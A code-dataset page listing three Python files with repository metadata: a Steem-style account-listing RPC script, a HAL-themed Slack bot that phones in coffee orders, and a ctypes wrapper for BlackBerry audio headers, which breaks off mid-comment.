Reset23/the-stack-v2-blamed2 · Datasets at Hugging Face

ec4a35b2fe0721b18cf3992900a6e0b2644a3bc7

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/tests/smoketest/scripts/create_account_list.py

9da9abf73638ad74ed295229da77c4bbd3054769

[ "MIT", "LicenseRef-scancode-warranty-disclaimer" ]

permissive

Oskii/Ezira

09966cf37da91fa18c7392f5d6acb0b943ae97fc

e8e8f0648940298850ff33136fcd5cd2030539d3

refs/heads/master

2020-03-09T00:59:32.724717

2019-04-26T02:19:37

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#!/usr/bin/env python3 """ Create list of all steem accounts in file. Usage: create_account_list.py <server_address> <output_filename> """ import sys import json import requests def main(): if len( sys.argv ) != 3: exit( "Usage: create_account_list.py <server_address> <output_filename>" ) url = sys.argv[1] + "/rpc" print( url ) filename = sys.argv[2] try: file = open( filename, "w" ) except: exit( "Cannot open file " + filename ) headers = { 'content-type': 'application/json' } last_account = "" end = False accounts_count = 0 while end == False: request = { "jsonrpc": "2.0", "id": 0, "method": "database_api.list_accounts", "params": { "start": last_account, "limit": 1000, "order": "by_name" } } try: response = requests.post( url, data=json.dumps(request), headers=headers).json() accounts = response["result"]["accounts"] except: print( "rpc failed for last_account: " + last_account ) print( response ) end = True continue if last_account != "": assert accounts[0]["name"] == last_account del accounts[0] if len( accounts ) == 0: end = True continue last_account = accounts[-1]["name"] accounts_count += len( accounts ) for account in accounts: file.write( account["name"] + "\n" ) # while end == False file.close() print( str(accounts_count) + " accounts") if __name__ == "__main__": main()

[ "eu-be@tlen.pl" ]

eu-be@tlen.pl

e80bbd400c9eb77464d747268c9691a9848a9705

af955fdd32cf9f6cb74b4f58cada1683063ccb59

/hal_commands.py

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[]

no_license

Pepedou/HAL-9000

b2ec753cf73458c13fb95595221e535a57f27e98

54c742bc7212a0f6756069754c9863f6a4c54d67

refs/heads/master

2020-12-31T07:34:16.522196

2017-03-29T04:09:08

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__author__ = 'José Luis Valencia Herrera' import os import plivo_text_to_speech import utils class HalCommandTypes: COFFEE_COMMAND = "coffee" class HalCommand: def __init__(self): self.raw_request = "" self.requesting_user = "" self.command_arguments = [] def execute(self): pass class HalCommandParser: @staticmethod def parse_command_from_message_text(message_text: str): parsed_command = {} split_message = message_text.split(' ') if split_message[1] == str(HalCommandTypes.COFFEE_COMMAND): parsed_command['command_type'] = HalCommandTypes.COFFEE_COMMAND parsed_command['command_arguments'] = message_text.split('"')[1:] else: raise Exception("Unable to parse command type") return parsed_command class CoffeeCommand(HalCommand): COFFEE_HOUSE_NUMBER = os.environ.get('COFFEE_HOUSE_NUMBER', "") def execute(self): try: success = plivo_text_to_speech.send_call(self.COFFEE_HOUSE_NUMBER, self.requesting_user['real_name_normalized'], self.command_arguments[0], self.command_arguments[1]) if success: if "tarjeta" in self.command_arguments[1].lower(): response_ending = "and a terminal should be brought to you for payment." else: response_ending = "and I've requested change for a ${0} bill.".format(self.command_arguments[1]) response = "Affirmative, {0}. I've placed the order \"{1}\" " \ "{2}".format( self.requesting_user['first_name'], self.command_arguments[0], response_ending) else: response = "I'm sorry {0}, I'm afraid I can't do that. There was an error sending the message. " \ "I think you know what the problem is just as well as I do.".format( self.requesting_user['first_name']) except Exception as e: response = "I'm sorry {0}, I'm afraid I can't do that. There was an error sending the message. " \ "I think you know what the problem is just as well as I do. Error: {1}".format( self.requesting_user['first_name'], str(e)) return response class HalCommandBuilder: @staticmethod def build_command_from_event(command_event): parsed_command = HalCommandParser.parse_command_from_message_text(command_event['text']) if parsed_command['command_type'] == HalCommandTypes.COFFEE_COMMAND: coffee_command = CoffeeCommand() coffee_command.requesting_user = utils.get_user_by_id(command_event['user'])['profile'] coffee_command.command_arguments = parsed_command['command_arguments'] return coffee_command else: raise Exception("Unhandled command type")

[ "pepedou@gmail.com" ]

pepedou@gmail.com

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/tart/python/bb/asound.py

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[]

no_license

HorizonXP/blackberry-py

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ee9823b5f1ce1efa6531005df60b246a4147c4a2

refs/heads/master

2020-05-27T13:08:56.497247

2013-08-30T06:56:03

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'''Wrappers for asound.h routines''' import ctypes from ctypes import (sizeof, c_bool, c_ubyte, c_byte, c_char, c_ushort, c_short, c_uint, c_int, c_ulonglong, c_longlong, c_float, c_double, c_char_p, c_void_p, POINTER, Structure, Union, CFUNCTYPE) # TODO: confirm these are correct size_t = c_uint ssize_t = c_int uint8_t = c_ubyte uint16_t = c_ushort uint32_t = c_uint uint64_t = c_ulonglong int8_t = c_byte int16_t = c_short int32_t = c_int int64_t = c_longlong from ._wrap import _func, _register_funcs class timeval(Structure): _fields_ = [ ('tv_secs', uint32_t), ('tv_usec', int32_t), ] class snd_pcm_t(Structure): pass # /**************************************************************************** # * * # * control.h * # * Control Interface * # * * # ****************************************************************************/ # typedef struct snd_ctl_callbacks { # void *private_data; /* should be used by an application */ # void (*rebuild) (void *private_data); # void (*xswitch) (void *private_data, int cmd, int iface, snd_switch_list_item_t *item); # void *reserved[29]; /* reserved for the future use - must be NULL!!! */ # } snd_ctl_callbacks_t; class snd_ctl_t(Structure): pass class snd_mixer_t(Structure): pass SND_PROTOCOL_VERSION = lambda t,a,b,c: (t<<24|a<<16|b<<8|c) SND_PROTOCOL_INCOMPATIBLE = lambda a,b: (a)!=(b) # /*****************/ # /*****************/ # /*** SWITCH ***/ # /*****************/ # /*****************/ # #define SND_SW_TYPE_BOOLEAN 1 # #define SND_SW_TYPE_BYTE 2 # #define SND_SW_TYPE_WORD 3 # #define SND_SW_TYPE_DWORD 4 # #define SND_SW_TYPE_LIST 10 # #define SND_SW_TYPE_STRING_11 100+11 # #define SND_SW_SUBTYPE_DEC 0 # #define SND_SW_SUBTYPE_HEXA 1 class snd_switch_list_item_t(Structure): _fields_ = [ ('name', c_char * 32), ('reserved', uint8_t * 128), ] class snd_switch_list_t(Structure): _fields_ = [ ('iface', int32_t), ('device', int32_t), ('channel', int32_t), ('switches_size', int32_t), ('switches', int32_t), ('switches_over', int32_t), ('pswitches', POINTER(snd_switch_list_item_t)), ('pzero', c_void_p), # align pointers on 64-bits --> point to NULL ('reserved', uint8_t * 128), # must be filled with zero ] # typedef struct snd_switch # { # int32_t iface; # int32_t device; # int32_t channel; # char name[36]; # uint32_t type; # uint32_t subtype; # uint32_t zero[2]; # union # { # uint32_t enable:1; # struct # { # uint8_t data; # uint8_t low; # uint8_t high; # } # byte; # struct # { # uint16_t data; # uint16_t low; # uint16_t high; # } # word; # struct # { # uint32_t data; # uint32_t low; # uint32_t high; # } # dword; # struct # { # uint32_t data; # uint32_t items[30]; # uint32_t items_cnt; # } # list; # struct # { # uint8_t selection; # char strings[11][11]; # uint8_t strings_cnt; # } # string_11; # uint8_t raw[32]; # uint8_t reserved[128]; /* must be filled with zero */ # } # value; # uint8_t reserved[128]; /* must be filled with zero */ # } # snd_switch_t; # /*****************/ # /*****************/ # /*** CONTROL ***/ # /*****************/ # /*****************/ # #define SND_CTL_VERSION SND_PROTOCOL_VERSION('C',3,0,0) # #define SND_CTL_SW_JOYSTICK "joystick" # #define SND_CTL_SW_JOYSTICK_ADDRESS "joystick port address" class snd_ctl_hw_info_t(Structure): _fields_ = [ ('type', uint32_t), ('hwdepdevs', uint32_t), ('pcmdevs', uint32_t), ('mixerdevs', uint32_t), ('mididevs', uint32_t), ('timerdevs', uint32_t), ('id', c_char * 16), ('abbreviation', c_char * 16), ('name', c_char * 32), ('longname', c_char * 80), ('reserved', uint8_t * 128), # must be filled with zero ] # #define SND_CTL_IFACE_CONTROL 100 # #define SND_CTL_IFACE_MIXER 200 # #define SND_CTL_IFACE_PCM_PLAYBACK 300 # #define SND_CTL_IFACE_PCM_CAPTURE 301 # #define SND_CTL_IFACE_RAWMIDI_OUTPUT 400 # #define SND_CTL_IFACE_RAWMIDI_INPUT 401 # #define SND_CTL_READ_REBUILD 120 # #define SND_CTL_READ_SWITCH_VALUE 121 # #define SND_CTL_READ_SWITCH_CHANGE 122 # #define SND_CTL_READ_SWITCH_ADD 123 # #define SND_CTL_READ_SWITCH_REMOVE 124 # typedef struct snd_ctl_read_s # { # int32_t cmd; # uint8_t zero[4]; /* alignment -- zero fill */ # union # { # struct # { # int32_t iface; # uint8_t zero[4]; /* alignment -- zero fill */ # snd_switch_list_item_t switem; # uint8_t reserved[128]; /* must be filled with zero */ # } sw; # uint8_t reserved[128]; /* must be filled with zero */ # } data; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_ctl_read_t; # #define SND_CTL_IOCTL_DRVR_VER _IOR ('C', 0x00, int) # #define SND_CTL_IOCTL_PVERSION _IOR ('C', 0x10, int) # #define SND_CTL_IOCTL_HW_INFO _IOR ('C', 0x20, snd_ctl_hw_info_t) # #define SND_CTL_IOCTL_SWITCH_LIST _IOWR('C', 0x30, snd_switch_list_t) # #define SND_CTL_IOCTL_SWITCH_READ _IOWR('C', 0x31, snd_switch_t) # #define SND_CTL_IOCTL_SWITCH_WRITE _IOWR('C', 0x32, snd_switch_t) # #define SND_CTL_IOCTL_MIXER_DEVICE _IOW ('C', 0x40, int) # #define SND_CTL_IOCTL_MIXER_INFO _IOR ('C', 0x41, snd_mixer_info_t) # #define SND_CTL_IOCTL_MIXER_SWITCH_LIST _IOWR('C', 0x42, snd_switch_list_t) # #define SND_CTL_IOCTL_MIXER_SWITCH_READ _IOWR('C', 0x43, snd_switch_t) # #define SND_CTL_IOCTL_MIXER_SWITCH_WRITE _IOWR('C', 0x44, snd_switch_t) # #define SND_CTL_IOCTL_PCM_CHANNEL _IOW ('C', 0x50, int) # #define SND_CTL_IOCTL_PCM_CHANNEL_INFO _IOR ('C', 0x51, snd_pcm_channel_info_t) # #define SND_CTL_IOCTL_PCM_DEVICE _IOW ('C', 0x52, int) # #define SND_CTL_IOCTL_PCM_INFO _IOR ('C', 0x53, snd_pcm_info_t) # #define SND_CTL_IOCTL_PCM_PREFER_SUBDEVICE _IOW ('C', 0x54, int) # #define SND_CTL_IOCTL_PCM_SUBDEVICE _IOW ('C', 0x55, int) # #define SND_CTL_IOCTL_PCM_SWITCH_LIST _IOWR('C', 0x56, snd_switch_list_t) # #define SND_CTL_IOCTL_PCM_SWITCH_READ _IOWR('C', 0x57, snd_switch_t) # #define SND_CTL_IOCTL_PCM_SWITCH_WRITE _IOWR('C', 0x58, snd_switch_t) # #define SND_CTL_IOCTL_RAWMIDI_CHANNEL _IOW ('C', 0x60, int) # #define SND_CTL_IOCTL_RAWMIDI_DEVICE _IOW ('C', 0x61, int) # #define SND_CTL_IOCTL_RAWMIDI_INFO _IOR ('C', 0x62, snd_rawmidi_info_t) # #define SND_CTL_IOCTL_RAWMIDI_SWITCH_LIST _IOWR('C', 0x63, snd_switch_list_t) # #define SND_CTL_IOCTL_RAWMIDI_SWITCH_READ _IOWR('C', 0x64, snd_switch_t) # #define SND_CTL_IOCTL_RAWMIDI_SWITCH_WRITE _IOWR('C', 0x65, snd_switch_t) # /*****************/ # /*****************/ # /*** MIXER ***/ # /*****************/ # /*****************/ # #define SND_MIXER_VERSION SND_PROTOCOL_VERSION('M',3,0,0) # #define SND_TYPE_SPEAKER_OUT 0 # #define SND_TYPE_HEADPHONE_OUT 1 # #define SND_TYPE_LINE_OUT 2 # #define SND_TYPE_BLUETOOTH_OUT 3 # #define SND_TYPE_HDMI_OUT 4 # #define SND_TYPE_TOSLINK_OUT 5 # /* PLAYBACK_GROUP_NAMES */ # #define SND_MIXER_AUX_OUT "Aux" # #define SND_MIXER_CD_OUT "CD" # #define SND_MIXER_CENTER_OUT "Center" # #define SND_MIXER_DAC_OUT "DAC" # #define SND_MIXER_DSP_OUT "DSP" # #define SND_MIXER_FM_OUT "FM" # #define SND_MIXER_FRONT_OUT "Front" # #define SND_MIXER_HEADPHONE_OUT "Headphone" # #define SND_MIXER_LINE_OUT "Line" # #define SND_MIXER_MASTER_OUT "Master" # #define SND_MIXER_MASTER_DIGITAL_OUT "Master Digital" # #define SND_MIXER_MASTER_MONO_OUT "Master Mono" # #define SND_MIXER_MIC_OUT "Mic" # #define SND_MIXER_MONO_OUT "Mono" # #define SND_MIXER_PCM_OUT "PCM" # #define SND_MIXER_PCM_OUT_SUBCHN "PCM Subchannel" # #define SND_MIXER_PCM_OUT_MIXER "PCM Mixer" # #define SND_MIXER_PCM_OUT_UNIFIED "PCM Unified" # #define SND_MIXER_PHONE_OUT "Phone" # #define SND_MIXER_RADIO_OUT "Radio" # #define SND_MIXER_REAR_OUT "Rear" # #define SND_MIXER_SIDE_OUT "Side Surr" # #define SND_MIXER_SPDIF_OUT "S/PDIF" # #define SND_MIXER_SPEAKER_OUT "PC Speaker" # #define SND_MIXER_SURROUND_OUT "Surround" # #define SND_MIXER_SYNTHESIZER_OUT "Synth" # #define SND_MIXER_VIDEO_OUT "Video" # #define SND_MIXER_WOOFER_OUT "Woofer" # /* CAPTURE_GROUP_NAMES */ # #define SND_MIXER_ADC_IN "ADC In" # #define SND_MIXER_AUX_IN "Aux In" # #define SND_MIXER_CD_IN "CD In" # #define SND_MIXER_DSP_IN "DSP In" # #define SND_MIXER_FM_IN "FM In" # #define SND_MIXER_LINE_IN "Line In" # #define SND_MIXER_MIC_IN "Mic In" # #define SND_MIXER_MONO_IN "Mono In" # #define SND_MIXER_PCM_IN "PCM In" # #define SND_MIXER_PCM_IN_SUBCHN "PCM In Subchannel" # #define SND_MIXER_PHONE_IN "Phone In" # #define SND_MIXER_RADIO_IN "Radio In" # #define SND_MIXER_SPDIF_IN "S/PDIF In" # #define SND_MIXER_SYNTHESIZER_IN "Synth In" # #define SND_MIXER_VIDEO_IN "Video In" # #if 1 /* LEGACY GROUP_NAMES from GPL ALSA 0.5.x (DO NOT USE) */ # #define SND_MIXER_IN_AUX SND_MIXER_AUX_OUT # #define SND_MIXER_IN_CD SND_MIXER_CD_OUT # #define SND_MIXER_IN_CENTER SND_MIXER_CENTER_OUT # #define SND_MIXER_IN_DAC SND_MIXER_DAC_OUT # #define SND_MIXER_IN_DSP SND_MIXER_DSP_OUT # #define SND_MIXER_IN_FM SND_MIXER_FM_OUT # #define SND_MIXER_IN_LINE SND_MIXER_LINE_OUT # #define SND_MIXER_IN_MIC SND_MIXER_MIC_OUT # #define SND_MIXER_IN_MONO SND_MIXER_MONO_OUT # #define SND_MIXER_IN_PCM SND_MIXER_PCM_OUT # #define SND_MIXER_IN_PCM_SUBCHN SND_MIXER_PCM_OUT_SUBCHN # #define SND_MIXER_IN_PHONE SND_MIXER_PHONE_OUT # #define SND_MIXER_IN_RADIO SND_MIXER_RADIO_OUT # #define SND_MIXER_IN_SPDIF SND_MIXER_SPDIF_OUT # #define SND_MIXER_IN_SPEAKER SND_MIXER_SPEAKER_OUT # #define SND_MIXER_IN_SURROUND SND_MIXER_SURROUND_OUT # #define SND_MIXER_IN_SYNTHESIZER SND_MIXER_SYNTHESIZER_OUT # #define SND_MIXER_IN_VIDEO SND_MIXER_VIDEO_OUT # #define SND_MIXER_IN_WOOFER SND_MIXER_WOOFER_OUT # #define SND_MIXER_OUT_CENTER SND_MIXER_CENTER_OUT # #define SND_MIXER_OUT_DSP SND_MIXER_DSP_OUT # #define SND_MIXER_OUT_HEADPHONE SND_MIXER_HEADPHONE_OUT # #define SND_MIXER_OUT_MASTER SND_MIXER_MASTER_OUT # #define SND_MIXER_OUT_MASTER_DIGITAL SND_MIXER_MASTER_DIGITAL_OUT # #define SND_MIXER_OUT_MASTER_MONO SND_MIXER_MASTER_MONO_OUT # #define SND_MIXER_OUT_PHONE SND_MIXER_PHONE_OUT # #define SND_MIXER_OUT_SURROUND SND_MIXER_SURROUND_OUT # #define SND_MIXER_OUT_WOOFER SND_MIXER_WOOFER_OUT # #endif # /* ELEMENT_NAMES */ # #define SND_MIXER_ELEMENT_ADC "Analog Digital Converter" # #define SND_MIXER_ELEMENT_CAPTURE "Capture" # #define SND_MIXER_ELEMENT_DAC "Digital Analog Converter" # #define SND_MIXER_ELEMENT_PLAYBACK "Playback" # #define SND_MIXER_ELEMENT_DIGITAL_ACCU "Digital Accumulator" # #define SND_MIXER_ELEMENT_INPUT_ACCU "Input Accumulator" # #define SND_MIXER_ELEMENT_MONO_IN_ACCU "Mono In Accumulator" # #define SND_MIXER_ELEMENT_MONO_OUT_ACCU "Mono Out Accumulator" # #define SND_MIXER_ELEMENT_OUTPUT_ACCU "Output Accumulator" # #define SND_MIXER_ELEMENT_INPUT_MUX "Input MUX" # #define SND_MIXER_ELEMENT_TONE_CONTROL "Tone Control" # /* SWITCH NAMES */ # #define SND_MIXER_SW_MIC_BOOST "Mic Gain Boost" # #define SND_MIXER_SW_SIM_STEREO "Simulated Stereo Enhancement" # #define SND_MIXER_SW_LOUDNESS "Loudness (Bass Boost)" # #define SND_MIXER_SW_IEC958_INPUT "IEC958 (S/PDIF) Input" # #define SND_MIXER_SW_IEC958_OUTPUT "IEC958 (S/PDIF) Output" # /* GROUP NAMES */ # #define SND_MIXER_GRP_ANALOG_LOOPBACK "Analog Loopback" # #define SND_MIXER_GRP_BASS "Bass" # #define SND_MIXER_GRP_DIGITAL_LOOPBACK "Digital Loopback" # #define SND_MIXER_GRP_EFFECT "Effect" # #define SND_MIXER_GRP_EFFECT_3D "3D Effect" # #define SND_MIXER_GRP_EQUALIZER "Equalizer" # #define SND_MIXER_GRP_FADER "Fader" # #define SND_MIXER_GRP_IGAIN "Input Gain" # #define SND_MIXER_GRP_MIC_GAIN "Mic Gain" # #define SND_MIXER_GRP_OGAIN "Output Gain" # #define SND_MIXER_GRP_TREBLE "Treble" # #define SND_MIXER_OSS_ALTPCM 1 # #define SND_MIXER_OSS_BASS 2 # #define SND_MIXER_OSS_CD 3 # #define SND_MIXER_OSS_DIGITAL1 4 # #define SND_MIXER_OSS_IGAIN 5 # #define SND_MIXER_OSS_LINE 6 # #define SND_MIXER_OSS_LINE1 7 # #define SND_MIXER_OSS_LINE2 8 # #define SND_MIXER_OSS_LINE3 9 # #define SND_MIXER_OSS_MIC 10 # #define SND_MIXER_OSS_OGAIN 11 # #define SND_MIXER_OSS_PCM 12 # #define SND_MIXER_OSS_PHONEIN 13 # #define SND_MIXER_OSS_PHONEOUT 14 # #define SND_MIXER_OSS_SPEAKER 15 # #define SND_MIXER_OSS_SYNTH 16 # #define SND_MIXER_OSS_TREBLE 17 # #define SND_MIXER_OSS_UNKNOWN 18 # #define SND_MIXER_OSS_VIDEO 19 # #define SND_MIXER_OSS_VOLUME 20 # #define SND_MIXER_ETYPE_INPUT 100 # #define SND_MIXER_ETYPE_ADC 101 # #define SND_MIXER_ETYPE_CAPTURE1 102 # #define SND_MIXER_ETYPE_CAPTURE2 103 # #define SND_MIXER_ETYPE_OUTPUT 104 # #define SND_MIXER_ETYPE_DAC 105 # #define SND_MIXER_ETYPE_PLAYBACK1 106 # #define SND_MIXER_ETYPE_PLAYBACK2 107 # #define SND_MIXER_ETYPE_SWITCH1 200 # #define SND_MIXER_ETYPE_SWITCH2 201 # #define SND_MIXER_ETYPE_SWITCH3 202 # #define SND_MIXER_ETYPE_VOLUME1 203 # #define SND_MIXER_ETYPE_VOLUME2 204 # #define SND_MIXER_ETYPE_ACCU1 205 # #define SND_MIXER_ETYPE_ACCU2 206 # #define SND_MIXER_ETYPE_ACCU3 207 # #define SND_MIXER_ETYPE_MUX1 208 # #define SND_MIXER_ETYPE_MUX2 209 # #define SND_MIXER_ETYPE_TONE_CONTROL1 210 # #define SND_MIXER_ETYPE_3D_EFFECT1 211 # #define SND_MIXER_ETYPE_EQUALIZER1 212 # #define SND_MIXER_ETYPE_PAN_CONTROL1 213 # #define SND_MIXER_ETYPE_PRE_EFFECT1 214 # #define SND_MIXER_VOICE_UNUSED 0 # #define SND_MIXER_VOICE_MONO 1 # #define SND_MIXER_VOICE_LEFT 2 # #define SND_MIXER_VOICE_RIGHT 3 # #define SND_MIXER_VOICE_CENTER 4 # #define SND_MIXER_VOICE_REAR_LEFT 5 # #define SND_MIXER_VOICE_REAR_RIGHT 6 # #define SND_MIXER_VOICE_WOOFER 7 # #define SND_MIXER_VOICE_SURR_LEFT 8 # #define SND_MIXER_VOICE_SURR_RIGHT 9 # typedef struct # { # uint16_t voice:15, vindex:1; # uint8_t reserved[124]; # } snd_mixer_voice_t; class snd_mixer_eid_t(Structure): _fields_ = [ ('type', int32_t), ('name', c_char * 36), ('index', int32_t), ('reserved', uint8_t * 120), # must be filled with zero ('weight', int32_t), # Reserved used for internal sorting oprations ] # #define SND_MIXER_EIO_DIGITAL (0x0) # typedef struct snd_mixer_element_io_info # { # uint32_t attrib; # int32_t voices, voices_over, voices_size; # snd_mixer_voice_t *pvoices; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_io_info; # typedef struct snd_mixer_element_pcm1_info # { # int32_t devices, devices_over, devices_size; # uint8_t zero[4]; /* align on 64-bits */ # int32_t *pdevices; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pcm1_info; # typedef struct snd_mixer_element_pcm2_info # { # int32_t device, subdevice; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pcm2_info; # typedef struct snd_mixer_element_converter_info # { # uint32_t resolution; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_converter_info; # #define SND_SW_TYPE_BOOLEAN 1 /* 0 or 1 (enable) */ # typedef struct snd_mixer_element_switch1 # { # int32_t sw, sw_over, sw_size; # uint8_t zero[4]; /* align on 64-bits */ # uint32_t *psw; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_switch1; # typedef struct snd_mixer_element_switch2 # { # uint32_t sw:1; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_switch2; # #define SND_MIXER_SWITCH3_FULL_FEATURED 1 # #define SND_MIXER_SWITCH3_ALWAYS_DESTINATION 2 # #define SND_MIXER_SWITCH3_ALWAYS_ONE_DESTINATION 3 # #define SND_MIXER_SWITCH3_ONE_DESTINATION 4 # typedef struct snd_mixer_element_switch3_info # { # uint32_t type; # int32_t voices, voices_over, voices_size; # snd_mixer_voice_t *pvoices; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_switch3_info; # typedef struct snd_mixer_element_switch3 # { # int32_t rsw, rsw_over, rsw_size; # int32_t zero[3]; # uint32_t *prsw; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_switch3; # typedef struct snd_mixer_element_volume1_range # { # int32_t min, max; # int32_t min_dB, max_dB; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_volume1_range_t; # typedef struct snd_mixer_element_volume1_info # { # int32_t range, range_over, range_size; # uint8_t zero[4]; /* alignment -- zero fill */ # struct snd_mixer_element_volume1_range *prange; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_volume1_info; # typedef struct snd_mixer_element_volume1 # { # int32_t voices, voices_over, voices_size; # uint8_t zero[4]; /* align on 64-bits */ # uint32_t *pvoices; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_volume1; # typedef struct snd_mixer_element_volume2_range # { # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_volume2_range_t; # typedef struct snd_mixer_element_volume2_info # { # int32_t svoices, svoices_over, svoices_size; # int32_t range, range_over, range_size; # snd_mixer_voice_t *psvoices; # struct snd_mixer_element_volume2_range *prange; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_volume2_info; # typedef struct snd_mixer_element_volume2 # { # int32_t avoices, avoices_over, avoices_size; # uint8_t zero[4]; /* alignment -- zero fill */ # int32_t *pavoices; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_volume2; # typedef struct snd_mixer_element_accu1_info # { # int32_t attenuation; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_accu1_info; # typedef struct snd_mixer_element_accu2_info # { # int32_t attenuation; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_accu2_info; # typedef struct snd_mixer_element_accu3_range # { # int32_t min, max; # int32_t min_dB, max_dB; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_accu3_range_t; # typedef struct snd_mixer_element_accu3_info # { # int32_t range, range_over, range_size; # uint8_t zero[4]; /* alignment -- zero fill */ # struct snd_mixer_element_accu3_range *prange; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_accu3_info; # typedef struct snd_mixer_element_accu3 # { # int32_t voices, voices_over, voices_size; # uint8_t zero[4]; /* alignment -- zero fill */ # int32_t *pvoices; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_accu3; # #define SND_MIXER_MUX1_NONE (0x1) # typedef struct snd_mixer_element_mux1_info # { # uint32_t attrib; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_mux1_info; # typedef struct snd_mixer_element_mux1 # { # int32_t output, output_over, output_size; # uint8_t zero[4]; /* alignment -- zero fill */ # snd_mixer_eid_t *poutput; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_mux1; # #define SND_MIXER_MUX2_NONE (0x1) # typedef struct snd_mixer_element_mux2_info # { # uint32_t attrib; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_mux2_info; # typedef struct snd_mixer_element_mux2 # { # snd_mixer_eid_t output; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_mux2; # #define SND_MIXER_TC1_SW (0x1) # #define SND_MIXER_TC1_BASS (0x2) # #define SND_MIXER_TC1_TREBLE (0x4) # typedef struct snd_mixer_element_tone_control1_info # { # uint32_t tc; # int32_t min_bass, max_bass; # int32_t min_bass_dB, max_bass_dB; # int32_t min_treble, max_treble; # int32_t min_treble_dB, max_treble_dB; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_tone_control1_info; # typedef struct snd_mixer_element_tone_control1 # { # uint32_t tc; # uint32_t sw:1; # int32_t treble; # int32_t bass; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_tone_control1; # #define SND_MIXER_EFF1_SW (1<<0) # #define SND_MIXER_EFF1_MONO_SW (1<<1) # #define SND_MIXER_EFF1_WIDE (1<<2) # #define SND_MIXER_EFF1_VOLUME (1<<3) # #define SND_MIXER_EFF1_CENTER (1<<4) # #define SND_MIXER_EFF1_SPACE (1<<5) # #define SND_MIXER_EFF1_DEPTH (1<<6) # #define SND_MIXER_EFF1_DELAY (1<<7) # #define SND_MIXER_EFF1_FEEDBACK (1<<8) # #define SND_MIXER_EFF1_DEPTH_REAR (1<<9) # typedef struct snd_mixer_element_3d_effect1_info # { # uint32_t effect; # int32_t min_depth, max_depth; # int32_t min_depth_rear, max_depth_rear; # int32_t min_wide, max_wide; # int32_t min_center, max_center; # int32_t min_volume, max_volume; # int32_t min_space, max_space; # int32_t min_delay, max_delay; # int32_t min_feedback, max_feedback; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_3d_effect1_info; # typedef struct snd_mixer_element_3d_effect1 # { # uint32_t effect; # uint32_t sw:1; # uint32_t mono_sw:1; # int32_t depth; # int32_t depth_rear; # int32_t wide; # int32_t center; # int32_t volume; # int32_t space; # int32_t delay; # int32_t feedback; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_3d_effect1; # #define SND_MIXER_PAN_LEFT_RIGHT 1 # #define SND_MIXER_PAN_FRONT_REAR 2 # #define SND_MIXER_PAN_BOTTOM_UP 3 # typedef struct snd_mixer_element_pan_control1_range # { # int32_t pan_type; # int32_t min, max; # int32_t min_dB, max_dB; # uint8_t reserved[124]; /* must be filled with zero */ # } snd_mixer_element_pan_control1_range_t; # typedef struct snd_mixer_element_pan_control1_info # { # int32_t range, range_over, range_size; # uint8_t zero[4]; /* alignment -- zero fill */ # struct snd_mixer_element_pan_control1_range *prange; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pan_control1_info; # typedef struct snd_mixer_element_pan_control1 # { # int32_t pan, pan_over, pan_size; # uint8_t zero[4]; /* alignment -- zero fill */ # int32_t *ppan; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pan_control1; # typedef struct snd_mixer_element_pre_effect1_info_item # { # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pre_effect1_info_item_t; # typedef struct snd_mixer_element_pre_effect1_info_parameter # { # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pre_effect1_info_parameter_t; # typedef struct snd_mixer_element_pre_effect1_info # { # int32_t items, items_over, items_size; # int32_t parameters, parameters_over, parameters_size; # struct snd_mixer_element_pre_effect1_info_item *pitems; # struct snd_mixer_element_pre_effect1_info_parameter *pparameters; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pre_effect1_info; # typedef struct snd_mixer_element_pre_effect1 # { # int32_t item; # int32_t parameters, parameters_over, parameters_size; # int32_t *pparameters; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_mixer_element_pre_effect1; # typedef struct snd_mixer_element_info # { # snd_mixer_eid_t eid; # union # { # snd_mixer_element_io_info io; # snd_mixer_element_pcm1_info pcm1; # snd_mixer_element_pcm2_info pcm2; # snd_mixer_element_converter_info 